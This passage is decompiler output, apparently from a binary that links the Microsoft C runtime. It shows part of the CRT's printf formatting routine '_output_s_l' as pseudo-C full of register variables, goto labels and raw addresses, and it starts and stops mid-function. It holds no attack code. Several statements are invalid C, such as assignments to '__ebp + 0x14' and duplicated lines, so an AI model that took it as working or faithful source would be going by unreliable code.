											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E004357C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E00435800( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E004357C0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E00435800( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E004342D0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E00435800( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E004357C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C5E0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435610))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E004312C0( *(_t701 - 0x251) & 0x000000ff, E0041AEF0(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00435720( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00435720( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E420();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422F10(_t616))) = 0x16;
																	E00422CA0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041AEC0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435648; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435630))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x435670; // 0x4e7e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043565C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AEF0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0xd5b65caa
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xd44284aa
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xd44114aa
																					E00424760(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00428400(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428440(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E00428400(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E00428400(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E00428400(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E00428400(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428420(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428420(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E00428400(__ebp + 0x14);
																	__eax = E00433FB0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E420();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																		__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEC0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428400(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
